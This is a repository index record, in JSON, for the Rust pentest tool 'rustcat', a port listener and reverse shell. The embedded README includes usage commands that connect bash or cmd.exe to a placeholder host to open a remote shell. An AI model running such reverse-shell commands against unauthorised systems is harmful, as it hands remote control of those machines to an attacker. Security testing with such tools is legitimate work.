{"id":13578067,"url":"https://github.com/robiot/rustcat","last_synced_at":"2025-05-15T09:05:09.791Z","repository":{"id":38242158,"uuid":"373909484","full_name":"robiot/rustcat","owner":"robiot","description":"Rustcat(rcat) - The modern Port listener and Reverse shell","archived":false,"fork":false,"pushed_at":"2024-07-20T14:20:34.000Z","size":2579,"stargazers_count":754,"open_issues_count":3,"forks_count":63,"subscribers_count":11,"default_branch":"master","last_synced_at":"2025-04-14T22:16:22.243Z","etag":null,"topics":["easy-to-use","hacktoberfest","linux","netcat","network","pentest-tool","port-listener","rcat","rust","rustcat","windows"],"latest_commit_sha":null,"homepage":"https://git.io/rustcat","language":"Rust","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/robiot.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2021-06-04T17:03:47.000Z","updated_at":"2025-04-05T19:23:42.000Z","dependencies_parsed_at":"2024-04-09T06:27:21.691Z","dependency_job_id":"eb4f0f5d-f9eb-4d72-a95e-649b18f331c0","html_url":"https://github.com/robiot/rustcat","commit_stats":{"total_commits":207,"total_committers":15,"mean_commits":13.8,"dds":0.6231884057971014,"last_synced_commit":"245c791402c966c3ef412082ade25ccbfd7c1f42"},"previous_names":[],"tags_count":14,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/robiot%2Frustcat","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/robiot%2Frustcat/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/robiot%2Frustcat/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/robiot%2Frustcat/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/robiot","download_url":"https://codeload.github.com/robiot/rustcat/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":248968918,"owners_count":21191162,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["easy-to-use","hacktoberfest","linux","netcat","network","pentest-tool","port-listener","rcat","rust","rustcat","windows"],"created_at":"2024-08-01T15:01:26.918Z","updated_at":"2025-04-14T22:16:34.426Z","avatar_url":"https://github.com/robiot.png","language":"Rust","readme":"\u003cdiv align=\"center\"\u003e\n      \u003ch1\u003erustcat - The modern port listener and reverse shell \u003c/h1\u003e\n\u003c/div\u003e\n\n\u003cp align=\"center\"\u003e\n\t\u003cimg alt=\"GitHub All Releases\" src=\"https://img.shields.io/github/downloads/robiot/rustcat/total?label=GitHub%20Downloads\" /\u003e\n  \t\u003ca href=\"https://aur.archlinux.org/packages/rustcat\"\u003e\u003cimg alt=\"AUR version\" src=\"https://img.shields.io/aur/version/rustcat\" /\u003e\u003c/a\u003e\n  \t\u003cimg alt=\"GitHub Issues\" src=\"https://img.shields.io/github/issues/robiot/rustcat.svg\" /\u003e\n  \t\u003cimg alt=\"GitHub Contributors\" src=\"https://img.shields.io/github/contributors/robiot/rustcat\" /\u003e\u003c/a\u003e\n\u003c/p\u003e\n\n## What is Rustcat\nRustcat is an easy to use port listener and reverse shell for Linux, MacOS, and Windows aimed to be easy to use and accessible.\n\n![image](https://user-images.githubusercontent.com/68228472/184684103-87bf3af8-0607-4789-b3a2-09ce67efce55.jpg)\n\n## Modes\n- Listen mode (listen);\n- Reverse shell mode (connect);\n\n## Features\n- Command history \u0026 Tab completion (Interactive mode);\n- CTRL-C blocking;\n- Colors;\n- Everything easy;\n\n## Installing\nCheck out the [Installation Guide](https://github.com/robiot/rustcat/wiki/Installation-Guide). Or if you want to have it portable, check out the [latest release](https://github.com/robiot/rustcat/releases/latest)\n\n## Usage\nThe most basic and useful example to start listening on a port would be (you can even run vim inside rustcat with this):\n```\nrcat listen -ib 55600\n```\nand to connect:\n```\nrcat connect -s bash the.0.0.ip 55600\n```\nReverse shell from Windows:\n```\nrcat connect -s cmd.exe the.0.0.ip 55600\n```\n\nFor some more basic usage, check [here](https://github.com/robiot/rustcat/wiki/Basic-Usage)\n\n## Disclaimer\nThis tool may be used for educational purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool.\n","funding_links":[],"categories":["Rust","windows","\u003ca name=\"networking\"\u003e\u003c/a\u003eNetworking","Other"],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frobiot%2Frustcat","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frobiot%2Frustcat","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frobiot%2Frustcat/lists"}